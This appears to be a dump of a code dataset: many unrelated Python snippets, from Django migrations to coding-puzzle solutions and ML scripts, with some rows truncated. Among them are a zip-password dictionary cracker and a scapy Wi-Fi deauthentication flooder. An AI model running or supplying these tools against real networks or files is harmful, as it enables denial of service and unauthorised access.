text
stringlengths
38
1.54M
def ubahHuruf(teks,a,b): x = teks y = a z = b for p in range(len(z)): x = x.replace(y[p],z[p]) print(x) ubahHuruf('MATEMATIKA','T','S')
import torch from torch.nn import Module class RaLSGANLoss(Module): def __init__(self): super(RaLSGANLoss, self).__init__() def forward(self, C_ij, C_ik): return (torch.mean((C_ij - C_ik.mean() - 1) ** 2) + torch.mean((C_ik - C_ij.mean() + 1) ** 2)) * 0.5
#!/usr/bin/env python # -*- coding: utf-8 -*- # vim: sw=4 ts=4 fenc=utf-8 et # ============================================================================== # Copyright © 2009 UfSoft.org - Pedro Algarvio <ufs@ufsoft.org> # # License: BSD - Please view the LICENSE file for additional information. # ====================...
# Generated by Django 3.0.2 on 2020-01-05 17:01 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Matches_Pred', fields=[ ('id', models.AutoF...
# -*- coding: utf-8 -*- # Generated by Django 1.10.2 on 2016-11-20 20:20 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): initial = True depe...
import struct from itertools import izip from enums import (CommandMessageSubtype, MessageSubtype, MessageType, MessageValueType, MessengerType, ParamFlags, NodeSignals) from utils import grouped class MessageDescription(object): def __init__(self, message): self.type = message ...
from scripts.archive import load_config from os import scandir, remove def clean_archive(): config = load_config() with scandir(config['zip_path']) as archives: for archive in archives: if not archive.name.startswith('.') and archive.is_file(): remove(archive.path)
from azureml.core import ScriptRunConfig, Experiment from azureml.core import Workspace from azureml.core.compute import ComputeTarget, AmlCompute from azureml.core.compute_target import ComputeTargetException from azureml.core import Environment from azureml.widgets import RunDetails from azureml.core.authentication i...
from util import do, p, BetaScript, kill, usernames import subprocess, time, os, os.path p("Importing s_05!") def s_05(): # Don't call any other functions, it's called in the function below # I'm just a fucking moron and coded it like a piece of shit score = install_office() # 1 test 1 operation ...
#659. Split Array into Consecutive Subsequences #Given an integer array nums that is sorted in ascending order, return true if and only if you can split it into one or more subsequences such that each subsequence consists of consecutive integers and has a length of at least 3. #Example 1: #Input: nums = [1,2,3,3,4,5]...
a = 699 b = 124 def a_update(n): return (n * 16807) % 2147483647 def b_update(n): return (n * 48271) % 2147483647 N = 40000000 count = 0 a_tmp = a b_tmp = b for i in range(N): a_tmp = a_update(a_tmp) b_tmp = b_update(b_tmp) if (a_tmp & 0xffff) == (b_tmp & 0xffff): count += 1 print(count) N = 500000...
# -*- coding: utf-8 -*- """ Physical constants used in code """ PARSEC = 3.086e18 # pc in cm C = 299792.458 # c in km/s
from flask import Flask, render_template, redirect, url_for, jsonify, request from flask_bootstrap import Bootstrap from flask_sqlalchemy import SQLAlchemy from flask_wtf import FlaskForm from werkzeug.security import generate_password_hash, check_password_hash from wtforms import StringField, SubmitField from wtforms....
__author__ = 'KeithW' from xml.dom.minidom import * from .RPGXMLUtilities import * class ConversationLine(object): NOT_ATTEMPTED = 0 SUCCEEDED = 1 FAILED = -1 REWARDED = 2 def __init__(self, text : str): self.text = text self.completed = False def is_completed(self): ...
"""Reads the given csv file into a list of strings containing the names of the securities.""" import csv import os def load(file): assert os.path.isfile(file) with open(file) as f: reader = csv.reader(f) return next(reader)
import os import datetime import glob import pickle import numpy as np import cv2 import matplotlib.pyplot as plt import matplotlib.image as mpimg import matplotlib.lines as mlines from matplotlib.path import Path import matplotlib.patches as patches from matplotlib.backends.backend_agg import FigureCanvasAgg as Figur...
import os import string import numpy as np import pytest from experiment import Experiment, Parameter from .util import get_output_dir # Get name of output directory, and create it if it doesn't exist output_dir = get_output_dir("Experiment") @pytest.mark.parametrize( "seed, plot", [(491, True), (6940, False)...
# -*- coding: utf-8 -*- from config import db class OrderAidanceCheck(db.Model): __tablename__ = "boss_order_aidance_check" id = db.Column(db.Integer, primary_key=True, nullable=False) aidance_id = db.Column(db.Integer) submit_time = db.Column(db.DateTime) submit_person = db.Column(db.String(20))...
from sympy import * from saveAndLoadEquation import * def main(): x, y, z, t = symbols("x y z t") h = Function("h")(x, z, t) hbar = Function("hbar")(z) hhat = Function("hhat")(z) htilde = Function("htilde")(x, z) F1 = Function("F1")(x, z, t) F2 = Function("F2")(x, z, t) P = Function("...
import unittest import jinja2 from woeman.fs import MockFilesystem, normalize_symlinks, unsafe_jinja_split_template_path from woeman import brick, Input, Output class FilesystemTests(unittest.TestCase): def testBrickBasePath(self): """Test the mapping of Brick parts to filesystem paths.""" @brick ...
import tvm import logging from tvm import autotvm import numpy as np import sys function = None global_s = None global_bufs = None @autotvm.template def GEMMAutoTVM(*args): global function def getSplit(maxNum): splitList = [] splitList.append(1) para = 2 while (True): ...
import numpy as np import random from monitor import monitor ''' AdaGrad's intuition explaining https://www.youtube.com/watch?v=0qUAb94CpOw ''' def update_mini_batch( network, mini_batch, eta, lmbda, n, epsilon, AdaGrad_b, AdaGrad_w): grad_b = [np.zeros(b.shape) for b in network.biases] grad_...
def verifica_intervalo(N): dentro = 0 fora = 0 for i in range(N): X = int(input()) if (X >= 10 and X <= 20): dentro += 1 else: fora += 1 print(f'{dentro} in\n{fora} out') def main(): N = int(input()) verifica_intervalo(N) main()
from PIL import Image import matplotlib.pyplot as plt import tensorflow as tf import numpy as np import sys,os from net3 import model import cPickle as pickle def get_testdata(img): img = np.array(img) < 150 a = np.zeros([img.shape[0]+2, img.shape[1]+2], dtype='float32') a[1:-1, 1:-1] = img img=a ...
import sys sys.stdin = open('minseok_assignment.txt','r') T = int(input()) for time in range(T): N,K = map(int,input().split()) finish = list(map(str,input().split())) all_class = [str(i) for i in range(1,N+1)] ans=[] for student in all_class: if student not in finish: ans.app...
import numpy as np import tensorflow as tf print(tf.__version__) # tf.logging.set_verbosity(tf.logging.INFO) # This implementation is loosly based on the implementation of huib. Offcourse everything is understood and adaptions have been made to make it a normal NN. def cnn_model_fn(features, labels, mode): """Mod...
from zipfile import ZipFile zf = ZipFile("~/test3/aaa.zip") pass_file = open("~/test3/dictionary.txt") for line in pass_file.readlines(): password = line.strip("\n") try: zf.extractall(path="~/test3/", pwd=password.encode("cp850", "replace")) print("\nPassword Found: {}\n".format(password)) exit(0) ...
import random class Solution: def find_second_largest(self, nums): max_1, max_2 = 0, 0 for num in nums: if num > max_1: max_2 = max_1 max_1 = num elif num > max_2 and num != max_1: max_2 = num return max_2 def fi...
#encoding='utf-8' try: import os,sys,pytest,allure,time,re,time except Exception as err: print('导入CPython内置函数库失败!错误信息如下:') print(err) sys.exit(0)#避免程序继续运行造成的异常崩溃,友好退出程序 base_path=os.path.dirname(os.path.abspath(__file__))#获取当前项目文件夹 base_path=base_path.replace('\\','/') sys.path.insert(0,base_path)#将当前目录添加到系统环境变量,方...
"""This module contains implementation of all the standard asset types. The top-level interface which every asset type must implement is lakshmi.assets.Asset. This class also contains helper functions that operate on an asset type. """ import datetime import re from abc import ABC, abstractmethod import requests impo...
x, y = map(int, input().split()) def calc(x, y): return x + y, x - y, x * y, x / y a, s, m, d = calc(x,y) print('덧셈: {0}, 뺄셈: {1}, 곱셈: {2}, 나눗셈: {3}'.format(a, s, m, d))
# 1. Consider the following Python function. def mystery(l): if l == []: return(l) else: return(mystery(l[1:])+l[:1]) # What does mystery([22,34,18,57,92,45]) return? # Ans: [45, 92, 57, 18, 34, 22] # 2. What is the value of pairs after the following assignment? pairs = [ (x,y) for x in ...
from execjs import get import sys import os.path as op try: from .rel import node_modules except ImportError: from rel import node_modules rt = get('Node') context = rt.compile(''' module.paths.push('%s'); function seePath(){ return module.paths; } var ng = require('ng-annotate'); function annota...
import json from urllib3 import * from base64 import b64encode def create_acl(VLANID): username = "admin" password = "Cisc0123" ip = "192.168.1.104" disable_warnings() http = PoolManager() print('配置ACL') object_name = "VLAN_" + str(VLANID) + "_HOST" headers = {} headers['Content-...
from models.user import UserModel from tests.base_test import BaseTest import json # convert our data into json{"key":"value",pair} format class UserTest(BaseTest): def test_register_user(self): with self.app() as client: with self.app_context(): response = client.post('/reg...
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-07-20 15:35 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('trading', '0007_auto_20160718_2253'), ] operations = [ migrations.AlterField...
#PF-Prac-27 def check_for_ten(num1,num2): #start writing your code here return (num1 == 10 or num2 ==10) or (num1+num2==10) print(check_for_ten(10,9))
import argparse import torchvision.transforms as T import torchvision import torch.distributed as dist import torch from pathlib import Path import os import numpy as np from torch.utils.tensorboard import SummaryWriter from torchvision.models.detection.faster_rcnn import FastRCNNPredictor def cuda(x): return x.c...
# _*_ coding: utf-8 _*_ """ This module demonstrates how to manage the URL, to distinguish which of them has been handled, or not been handled yet """ class LinkManager(object): def __init__(self): self.new_urls = set() # URL set to be crawled self.old_urls = set() # URL set already crawled ...
# Implement a data structure supporting the following operations: # Inc(Key) - Inserts a new key with value 1. Or increments an existing key by 1. Key is guaranteed to be a non-empty string. # Dec(Key) - If Key's value is 1, remove it from the data structure. Otherwise decrements an existing key by 1. If the key does ...
for tc in range(1, 11): N = int(input()) area = [list(map(int, input().split())) for _ in range(100)] cnt = 0 for x in range(100): check = 0 for y in range(100): if area[y][x] == 0: continue elif not check and area[y][x] == 2: conti...
# if elif else statement # show ticket pricing # 1 to 3 (free) # 4 to 10 (150) # 11 to 60 (250) # above 60 (200) age = int(input("please input your age: ")) if age == 0 or age < 0: print("you can't watch") elif 0 < age <= 3: print("Ticket Price : Free") elif 3 < age <= 10: print("Ticket Pric...
import os import re def get_file_names(folderpath, output_file): lst = os.listdir(folderpath) with open(output_file, 'w') as file_object: for line in lst: file_object.write(line + "\n") def get_all_file_names(path, output_file): lst = [] for root, directories, ...
#-*-coding: utf-*- from itertools import combinations from nltk.tokenize import sent_tokenize, RegexpTokenizer from nltk.stem.snowball import RussianStemmer import networkx as nx from sklearn.feature_extraction.text import CountVectorizer import math import re import nltk # nltk.download('stopwords') def treatment_te...
#!/usr/bin/python # Solution to problem 887A in codeforces input = raw_input() first_one_found = False zero_count = 0 for letter in str(input): if not first_one_found and letter == "1": first_one_found = True if first_one_found and letter == "0": zero_count += 1 if zero_count >= 6: ...
import sys from heapq import heappush, heappop class Node: __slots__ = ('portal', 'edges') def __init__(self, portal='', edges=None): self.portal = portal self.edges = edges or [] def __lt__(self, other): return True def out(x, y, bounds): x0, y0, x1, y1 = bounds return x < x0 or x > x1 or y < y0 or y...
""" Librairie personnelle effectuer des graphiques sur Analyse en composantes principales """ #! /usr/bin/env python3 # coding: utf-8 # ==================================================================== # Outil visualisation - projet 3 Openclassrooms # Version : 0.0.0 - CRE LR 13/03/2021 # Version : 0.0.1 - CR...
def appendsums(lst): i=0 while i<25: l=len(lst) sum=lst[l-1]+lst[l-2]+lst[l-3] lst.append(sum) i+=1 sum_three = [0, 1, 2] appendsums(sum_three) print (sum_three[20])
# coding:utf-8 # 把街道按照上面发生的所有犯罪的分布进行编码 import pandas as pd import numpy as np import pickle file_key = 'fold_1' original_train = pd.read_csv('../0_direct/' + file_key + '.csv') # 统计各个街道上面各类犯罪的分布,街道编号由1到2128 street_stats = [] for i in range(2129): street_stats.append(np.zeros(40)) for i in range(len(original_tra...
#!/usr/bin/env python #coding:utf-8 from scapy.all import * def wifi_down(client_mac, bssid): pkt = RadioTap() / Dot11(subtype=0x00c, addr1=client_mac, addr2=bssid, addr3=bssid) / Dot11Deauth(reason=0) while(True): sendp(pkt, iface='wlan0') if __name__ == '__main__': wifi_down('ec:1d:7f:bc:b3...
from django.db import models from django.contrib.auth.models import User # Create your models here. class Blogs(models.Model): title = models.CharField(max_length=200) time = models.DateTimeField(auto_now_add=True) body = models.TextField() image = models.ImageField(blank=False, upload_to='blogs/imag...
from distutils.core import setup from Cython.Build import cythonize setup(ext_modules = cythonize("ObsPred.pyx"))
import threading from datetime import datetime import time from app.model.SqlExecuter import SqlExecuter from app.util.vkApiHelper import VKAPIHelpers class lookerThread(threading.Thread): name = None vk_id = -1 api = None db = None interval = None is_alive = True def __init__(self,name,v...
# # Copyright (c) 2023 Airbyte, Inc., all rights reserved. # import json import subprocess import sys import pytest from airbyte_cdk.models import AirbyteErrorTraceMessage, AirbyteLogMessage, AirbyteMessage, AirbyteTraceMessage def test_uncaught_exception_handler(): cmd = "from airbyte_cdk.logger import init_l...
import functools import os import time from testtools import content, content_type import fixtures import testresources import testtools from common.contrail_test_init import ContrailTestInit from common import log_orig as contrail_logging #from common import config import logging as std_logging from tcutils.util impo...
import pandas as pd from sklearn.utils import shuffle from nltk.corpus import stopwords from nltk import punkt import numpy as np import re, random from nltk.chunk import RegexpParser import nltk, scipy, emoji from nltk.corpus import wordnet import csv, sys, random, math, re, itertools from nltk.tokenize import TweetTo...
from schema import And, Schema, Use from box import Box import json def tolerant_schema(s): return Schema(s, ignore_extra_keys=True) def not_empty(x): return bool(x) encoded_bool = And(str, Use(json.loads), bool) encoded_int = And(str, Use(json.loads), int) non_empty_string = And(str, not_empty) def b...
'''implementation of radix sort for integers''' def radixSort(arr, radix=10): '''radix sort method''' shift = 1 buckets = [[] for _ in range(radix)] done = False while not done: done = True for x in arr: val = (x / shift) % radix buckets[val].append(x) ...
# -*- coding: utf-8 -*- # @Author: WuLC # @Date: 2016-05-09 16:12:04 # @Last modified by: WuLC # @Last Modified time: 2016-05-09 16:13:03 # @Email: liangchaowu5@gmail.com # DP class Solution(object): def uniquePathsWithObstacles(self, obstacleGrid): """ :type obstacleGrid: List[List[int]] ...
class TokenSplitter: def __init__(self): pass def get_min_length(self, sentence, dict): minimum_len = 0 if len(sentence) > max(dict.keys()): minimum_len = max(dict.keys()) else: minimum_len = len(sentence) return minimum_len def token_analys...
from colorama import Fore, Back, Style,init init() print(Fore.RED + 'some red text') print(Back.GREEN + 'and with a green background') print(Style.DIM + 'and in dim text') print(Style.RESET_ALL) print('back to normal now') example= input() if example==None or example=='' : print(Fore.CYAN+'ALARM!!!!!!!!!!!!!') prin...
#!/usr/bin/env python import requests from bs4 import BeautifulSoup import cPickle as pickle from time import sleep def main(): with open("pop.pkl", 'rb') as f: states = pickle.load(f) url = "http://www.brewersassociation.org/statistics/by-state/" with open('states.txt', 'w') as f: fo...
from tkinter import * import wikipedia def get_me(): entry_value = entry.get() answer.delete(1.0,END) try: answer_value = wikipedia.summary(entry_value) answer.insert(INSERT,answer_value) except: answer.insert(INSERT,"check input OR internet connection") root = Tk() root.title(...
"""Post forms.""" from django import forms from posts.models import Post class PostForm(forms.ModelForm): """Post model forms.""" class Meta: model = Post fields = ('user', 'profile', 'title', 'photo') widgets = { 'title': forms.TextInput(attrs={ 'class': '...
import sys sys.stdin = open('동철이의일분배.txt','r') def combo(deep, sofar): global poten,N, max_poten if sofar <= max_poten: return if deep==N: if sofar > max_poten: max_poten = sofar return for task in range(N): if visited[task] ==0: ...
#day2 #part2 def have_one_diff(b1, b2): num_diff = 0 for i in range(len(b1)): if b1[i] != b2[i]: num_diff += 1 if num_diff > 1: return False if num_diff == 1: return True def find_almost_match(box): for i in range(len(box)): box1 = box[i] ...
# coding=utf-8 # Copyright 2020 Gunnar Mein, Kevin Hartman, Andrew Morris. All rights reserved. # # Licensed under the MIT license # See https://github.com/FireBERT-NLP/FireBERT/blob/master/LICENSE for details # # Unless required by applicable law or agreed to in writing, software # distributed under the License is dis...
#Escribe un programa que pida un número y escriba si primo o no primo=int(input("Introduzca un número primo: ")) resultado=0 for i in range (1,primo): if primo%i==0: resultado+=1 if resultado==1: print ("El número %d es primo." %(primo)) else: print ("El número %d no es primo." %(primo))
#!/usr/bin/env python #client example import socket import time print "Waiting for socket" time.sleep(3) client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect(('java-server', 10001)) client_socket.send("hello") client_socket.send(" stackoverflow") client_socket.close() while 1: prin...
"""TcEx Framework Module""" # standard library import logging from abc import ABC from collections.abc import Generator from typing import Self # third-party from requests import Response, Session from requests.exceptions import ProxyError, RetryError # first-party from tcex.api.tc.v3.object_collection_abc import Obj...
#!/usr/bin/python import os,sys import string from optparse import OptionParser import csv import json import glob from collections import OrderedDict from Bio import SeqIO from Bio.Seq import Seq #import commands import subprocess import libgly ################## def get_sort_key_value_pub(obj): return obj["d...
#!/usr/bin/env python # # Copyright 2012, Rackspace US, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
""" - Reproductor de audio con parametros automaticos - Seminario de Computacion - Semana Tecnologica - Alvaro Araujo """ import pyaudio import wave import sys import os import numpy as np _format = pyaudio.paInt16 _channels = 2 _rate = 44100 _chunk = 2048 max_v = 2**16 lon_bar = 60 if len(sys.argv) < 2: ...
from sklearn.naive_bayes import GaussianNB from sklearn.metrics import accuracy_score from src.utils import load_data X_train, X_test, y_train, y_test = load_data() model = GaussianNB() model.fit(X_train, y_train) y_pred = model.predict(X_test) print("Scikit-learn GaussianNB accuracy: {0:.3f}".format(accuracy_score...
#!/usr/bin/env python import os import sys import commands import subprocess from time import time ###-------------------------------------------------------------------### def oldRemove(label="", ana="anaPlots"): cmd = [] c = commands.getstatusoutput("ls ../haddOut/out%s_%s.root" % (label, ana)) if "...
# Copyright (c) 2011-2015 Berkeley Model United Nations. All rights reserved. # Use of this source code is governed by a BSD License (see LICENSE). import datetime from easy_pdf.views import PDFTemplateView from easy_pdf.rendering import render_to_pdf_response from django.conf import settings from django.http import ...
import discord import datetime TOKEN = input('Введите токен бота: ') client = discord.Client() @client.event async def on_message(message): flag = False if message.author == client.user: return if "set_timer" in message.content.lower(): hours = int(message.content.lower().split()[2]) ...
''' Author: QAlexBall Description: using sift for captcha ''' import os import cv2 import numpy as np with open('loggings.txt', 'w') as f: f.truncate() with open('mappings_test.txt', 'w') as f: f.truncate() for x in os.listdir('./train/'): if x == 'mappings_test.txt': break print(str(x))#, en...
from discord.ext import commands import discord import logging import config from cogs import secret def setup_logger(): logging.basicConfig(filename='bot.log', level=logging.INFO) class Bot(commands.Bot): def __init__(self, **kwargs): super().__init__(command_prefix=commands.when_mentioned_or('!'),...
qi = int(input()) pc = float(input())/100 qr = int(input()) i = 0 while 0<qi<12000: qi += qi*pc - qr i+=1 if qi<0: print("EXTINCAO") print(i) else: print("LIMITE") print(i)
"""Evaluation for DeepSpeech2 model.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import distutils.util import argparse import gzip import paddle.v2 as paddle from data_utils.data import DataGenerator from model import deep_speech2 from decoder import ...
import os import sys project_dir = os.path.join(os.path.dirname(__file__), "..") sys.path.insert(0, project_dir) os.environ['PATH'] += os.pathsep + project_dir from pathlib import Path class ActionType: CO_EXISTING = "co-existing" CO_OPERATION = "co-operating" COMBINED = "combined" NOISE = "noise" ...
import coins class exchange: def __init__(self,exchange_url:str,exchange_name:str): self.exchange_ticker=exchange_url self.supported_coins= [] self.name = exchange_name self.maker_fee = 0 self.taker_fee = 0 self.bitcoin = None self.ethereum = None sel...
from bs4 import BeautifulSoup from urllib.request import urlopen response = urlopen("https://en.wikipedia.org/wiki/Main_Page") soup = BeautifulSoup(response, 'html.parser') i = 1 for anchor in soup.find_all("a"): print(str(i) + ' ' + anchor.get('href', '/')) i = i+1
#!/usr/bin/env python """ =============== %(PROG)s =============== ------------------------------------------------------------- Collapse multiple rows having the same key into a single row ------------------------------------------------------------- :Author: skipm@trdlnk.com :Date: 2016-08-26 :Copyright: TradeLink...
import subprocess from adb_interaction import ADB import adb_keyevents import time adb = ADB("evolve") adb.adb_connect("10.100.15.158") subprocess.call("adb connect 10.100.15.172") subprocess.call("adb devices",shell=True) subprocess.call("adb install -r WatchTV-debug.apk")
from ..PulsePrimitives import * from ..Compiler import compile_to_hardware from ..PulseSequencePlotter import plot_pulse_files import QGL.PulseShapes def RabiAmp(qubit, amps, phase=0, showPlot=False): """ Variable amplitude Rabi nutation experiment. Parameters ---------- qubit : logical channel to implement s...
# coding:utf-8 # Remove Duplicates from Sorted Array 从排序的数组中删除重复项 nums=map(int,raw_input().split()) def removeDuplicates(nums): """ :type nums: List[int] :rtype: int """ n=len(nums) if n<=1: return n else: p=1 for i in range(1,n): if nums[p]==nums[p-1]: ...
# coding: utf-8 # In[1]: import pandas as pd # In[2]: def clean_data(df): df=df.rename(columns = {'artist':'artist_long'}) try: df["artist"] = df["artist_long"].map(lambda x : x.split('featuring')[0]) except: df["artist"] = df["artist_long"].map(lambda x : x) df["ID"] = df["song"] ...
""" set list tuple set dictionary (dict) """ # 1st # 'apple' # 2nd # 'pineapple' # 3rd # 'orange' fruitset = {'apple','pineapple','orange'} print(fruitset) # unordered collection of items # it cannot hold duplicated items # unique item numberset = {1,1,4,4,6,6} print(numberset) # how to create an empty set set1...
import numpy as np import random as rnd import time as tm from matplotlib import pyplot as plt import math # You may define any new functions, variables, classes here # For example, functions to calculate next coordinate or step length # def steplength(eta, t): # return eta/t def grad(theta, C, X, y):...
""" # Definition for a Node. class Node(object): def __init__(self, val=None, children=None): self.val = val self.children = children """ class Solution(object): def preorder(self, root): """ :type root: Node :rtype: List[int] """ res = [] def r...
class Tur_normalgame: def __init__(self,oyuncu_el): self.oyuncu = oyuncu_el time.sleep(1) print("\n\tTur sende") global oyun_raporu oyun_raporu += "\n\tTur sende\n" time.sleep(1) print("\n\tortanın değeri:\n\t{} {}".format(orta.type,orta.value)) ...
from string import ascii_uppercase from random import choice def check(): return 1 def make_grid(width, height): return {(row, col): choice(ascii_uppercase) for row in range(height) for col in range(width)}
import os import logging import tornado.ioloop import tornado.web import tornado.log log = logging.getLogger('dorthy.server') def listen(routes, port=None): if not port: try: port = os.environ['PORT'] except: port = 8899 app = tornado.web.Application(routes.routes) ...
# -*- coding: utf-8 -*- """Generate charts for the summary section of the biolookup service.""" import pathlib import bioregistry import matplotlib.pyplot as plt from matplotlib_venn import venn2 from biolookup import backends HERE = pathlib.Path(__file__).parent.resolve() STATIC = HERE.joinpath("static") def ma...
''' Created on Oct 11, 2015 @author: Zhongyi Yan ''' import math import os def CalPrice( p, a, b, c, d, k ): priceArray = [] for i in range(1, k+1): tmp1 = math.sin( a * i + b ) tmp2 = math.cos( c * i + d ) priceArray.append(p * ( tmp1 + tmp2 + 2 )) #print("Scheibe!") ret...
# -*- coding: utf-8 -*- from django.conf import settings from django.contrib.sites.models import Site from django.core.exceptions import ImproperlyConfigured import os FREEZE_ROOT = getattr(settings, 'FREEZE_ROOT', os.path.abspath(os.path.join(settings.MEDIA_ROOT, '../freeze/')) ) if not os.path.isabs(FREEZE_ROOT)...
from gym.envs.classic_control import rendering import pyglet class Text(rendering.Geom): def __init__(self, text, size=14): rendering.Geom.__init__(self) self.size = size self.set_text(text) def set_text(self, text): self.text = pyglet.text.Label(text, 'sans-serif', self.size)...
from squid import orca from squid import files from squid import geometry from squid.calcs import NEB from squid import structures if __name__ == "__main__": # In this example we will generate the full CNH-HCN isomerization using # only squid. Then we optimize the endpoints in DFT, smooth the frames, # a...